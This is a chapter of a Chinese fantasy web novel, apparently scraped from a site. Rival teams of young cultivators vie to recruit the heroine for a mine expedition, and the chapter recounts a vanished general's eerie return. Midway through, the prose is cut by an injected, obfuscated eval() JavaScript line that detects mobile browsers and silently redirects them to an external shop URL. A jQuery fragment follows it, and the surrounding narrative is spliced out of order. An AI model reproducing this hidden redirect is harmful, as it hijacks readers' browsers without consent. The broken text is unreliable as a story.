帷帽遮面,看不清她的神情,单听她的语气,似乎还挺轻松的,于是那些“朴素纯良”的少年少女们也搞不清了,到底她是真的不用帮,还是碍于什么隐情不敢直说,有所顾虑?
犹豫片刻,其中一位执折扇的少年率先开口道:“姑娘到这来,一定也是为了赚取酬金吧,不知是否已经选定了任务。
其实这阁内张榜的数量虽多,实际完成难度与酬金匹配度高、又有性价比的却是寥寥。我们几个正打算去“万象迷矿”中碰碰运气,缺一人成队,如果姑娘也有兴趣的话,不如就与我们同行如何?”
其他伙伴皆点头赞同,心道果然还是青枫脑子快、会说话,邀请这位姑娘加入,既凑齐了队伍人数,又解决了她无法直抒顾虑的难题。
他们六人一道,哪怕再遇到不怀好意的,见他们人多,要找麻烦想必也得多掂量一二。
沈拂凌还没表态,另一边先不乐意了,“凭什么跟你们组队,是我们先找上她的!”
脑子好的青枫不跟竞争对手做无谓争辩,而是直接向有选择权的人展示己方优势,“我们来这里之前,已经充分研究过万象迷矿有记录的一百多种通关路线以及可能遇到的危险、需要着重避开的陷阱,和我们一起,别的不说,保证大家都全须全尾,进出平安应该不成问题。”
那方紫衣少年连忙回击道:“研究了一百多种路线算什么!我们这几个人,进出万象迷矿的次数加起来也差不多超过百次了,纸上谈兵,哪有实践来得有用!”
“我们带着很多灵草灵药,姑娘若是中途累了病了,时刻都有丹药补充。”
“我雇一辆舒服的马车载你进去,打打杀杀闯关的事都交给我们就行。若是怕累怕危险,保管姑娘全程脚都不用沾地!”
“……”
“……”
沈拂凌也不知道,双方怎么突然就开始了疯狂的比拼。
这都未经点火就熊熊燃烧起来的胜负欲,看来可以把“佛系”这两个字从介绍青岭的书典中划掉了,她好笑地想。
再一咂摸,这二字形容的其实是整座青岭“城”,而非城内的“人”,因此好像也不算失真,还是可以继续保留下去。
双方不断加码,比拼进入白热化阶段,这时,青芷从怀中摸出一只小盒子,高高举起,咬了咬牙道:“我这里还有一颗美容养颜丹,花了整整三年才炼出来的,你和我们组队,我把美容养颜丹也送给你!”
“!!!”
“这丹……”
试问哪个爱漂亮的女孩子能拒绝得了一颗美容养颜丹呢?
情不自禁就向青芷的身边靠近过去,正打算详细询问这丹的配方和功效,那些可恶的麟州有钱人竟又抛出了更为诱惑的条件。
“跟我们一起,这趟进矿找到的所有财宝我们分文不取,全部归你。另外再加赠你纹银百两,当做大家第一次成功组队的见面礼。”
太夸张了。
太夸张的好事,背后一般都藏着能害死人的危险。
“姑娘,你就算不选择我们,也千万不能相信他们!”
青梧的眉头简直拧成了死结,忧心忡忡地极力劝阻道,“天下哪有这种掉馅饼的好事,明明是团队合作,其他人不仅什么都不要,还反过来送你一大笔钱。
那黑皮小子刚才就心怀不轨接近你,见不成功,他的同伙就配合过来唱白脸,依我看,这些人根本全部居心不良,就等着把你骗进虎口呢!”
“你说谁居心不良!”
“呸,穷酸眼看人,把人都给看扁了!小爷就是钱多喜欢散财怎么了?我还说你是因为嫉妒,故意栽赃我们呢!”
刚才还只是年轻人好胜心作祟,非要较一较劲、争一个高下,哪知一言不合直接上升到了人品层面。
“唰——”
“呲——”
显然双方都无法忍受这等侮辱,利刃出鞘,气氛一下子绷紧到了极点,再加任何一点细微的引子,就会立刻大打出手。
沈拂凌见到覃予上前两步,心道引子来了,以这孩子说话的方式和技巧,他要是一直说,这场架说不定能一直打到天荒地老。
没想到他这次开口的第一句,便颠覆了沈拂凌对他的第一印象,“这件事归根结底是我的错。”覃予道。
“是我做的事,先让别人产生了不好的误会,进而才会对我们所有人都产生怀疑。
不过适才说的赠送姑娘百两纹银当做见面礼,绝非我们信口开河,也并非另有阴谋。”
说到这,生怕他们不信,又急切地举例子、摆事实,进一步说明:“假如我们真想通过利诱引你进陷阱,怎么会只开出百两纹银的价格呢?实在是因为我们几个这月的零用钱加起来,只有这么多了!”
沈拂凌、青梧、青枫等众人:“……”
叫青稞的少年更是从嗓子眼里挤出一声仇富的冷笑:“呵!”
“实不相瞒,我们几个进出万象迷矿的次数确实很多,这般频繁地进出,本也不是为了财宝,而是想利用此地锤炼自己、提升修为!”
“迷矿寻宝”的任务信息位于面板中部的位置。
有效期:长期。
酬金:无上限(注:悬赏客需缴纳所得财宝百分之三十的税金,剩余百分之七十可自留,也可兑换其他等价之物)
难易程度:空星——六颗星不等。
又是一项无上限的任务。
不过这个无上限,应该比嫁入城主府的那条好理解多了——假如你有幸在矿里找到了传说中的上古神器、天材地宝,用当世的价格难以衡量,那自然也就给不出“上限”。
万象迷矿开放至今,倒还没听说过谁真有这等好运的。
而之所以用“开放”这两个字,因为麟州所有的矿产,都归官方管辖,只有得到批准的特定人员才能开采。
作为全麟州最大的矿区,起初,万象之矿自然也是如此。
变故发生在十年前。
十年前,恰逢麟州连接中都的结界到了应该大修的日期。
大修需要开启界门,而每次开启界门会发生什么,其中的危险难以预料。
稳妥起见,那一次,城主派出了金翼将的三大将领,以及银翊卫的近半数精锐在界门附近驻守待命。
整个检修过程持续数日,中途并未发生任何离奇古怪之事,也没有中都内的东西蹿出来伤人,可称得上顺利。
然而就在最后,他们清点人数,准备回去复命的时候,却发现原本的三位将领,少了一位。
失踪的是于阵法一道造诣高深,素有“璇玑将军”之称的盖啟淼。
问起最后一次见到盖将军是什么时候,大家的说辞也都很一致。
“就刚刚啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699716|208101||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“半柱香前吧,将军还来问我们收尾工作做得如何了呢。”
“说不定是将军发现了什么可疑事物,来不及知会,自己先去调查了。”
就是这不久前还被许多双眼睛看见过的一个大活人,突然间便像蒸发了般。
即便是他当真发现了什么前去调查,可随着时间一日日过去,城内没出现任何相关的风吹草动,派去找他的人也始终没发现他的踪迹。
要么,是死了,尸骨无存。另外一种可能,他进了中都!
无论哪种,人找不到了,位置却不能一直空着,城主便指任副将接替他的职位。
又过去几个月,各大城陆续定下本年有资格进中都历练的名单。
麟州这边,仍是极为重视地安排了三位将领在界门处把关,且这三位将领,恰好还是上一次界门大修时的两位,以及顶替盖将军上任的那名副将。
三将领按照名单所列将那些人悉数送进中都,又确认了界门已关,没有什么异动风险之后,便列队返回。
是日,天朗气清、惠风和畅,三人骑马走在队伍前排,只听身后很近的地方一道声音悠悠感慨:“多好的阳光啊!我都记不清有多久没像这样舒舒服服地好好晒过太阳了。”
“你老糊涂了吧!”罗将军顺口接话,“麟州最近这天气,少说得有四五天都一直是艳阳高照!”
“老罗听话不会抓重点,好好晒太阳是一种状态,不是太阳大就能实现的。要是整天处于高压紧绷状态,再怎么艳阳高照,也没有享受的心情!”
“是啊。”那名顶替上来的副将赞同道,“其实从接到这次任务,我这些日子精神一直都挺紧绷的。什么妖魔鬼怪、邪魔歪道的冲出来倒都不害怕,怕只怕又碰到上回那种诡异莫名的状况,也不知道盖将军现在究竟人在何处,是生是死,是否安好。”
随着他话音落下,三人似乎都后知后觉意识到了什么,脊背变得僵硬。
再然后,三个人一起僵硬地、缓缓朝后转过头去。
只见在他们身后,大批队伍之前,不知何时多出个须发浓密的壮年男子,正是消失许久的盖将军!
最开始那句晒太阳的感慨,便是出自他的口中!
他消失得古怪,再出现时古怪更甚,若只是单个人悄悄融进队伍中还算容易,可他身下分明还骑着匹高头大马,连马带人一起突兀地插入进来,无论他们几个还是后面的众多士兵,竟无一人有所察觉?
想着,目光移到他骑着的东西上面,又是一股寒意直冲天灵。
那哪里是什么马?虽然外观与活马相似,细看,却见马头上根本没有眼睛,原本该长着眼珠的位置,只有两团黑黢黢的烂泥。
它驮着盖啟淼前行,蹄子一蹬一抬,却根本没有一下沾地,难怪如鬼魅般毫无声响!
“怎么了,覃副将,你那是什么表情。”
众人神态各异,或尴尬、或惊讶、或凝重,反正都不是什么正面表情。
与之相反,盖啟淼却始终眉目舒展,问这话的时候也是笑着问的,轻松得像日常在军营里与战友打趣。
“刚才不还惦记着我的下落,现下真的见着了,难道你不高兴吗?”
“高、高兴。”被点名的覃副将讷讷道,又默了一阵,才试探地再次开口,“将军,这么长时间不在,你去了哪里……是不是……进了中都?”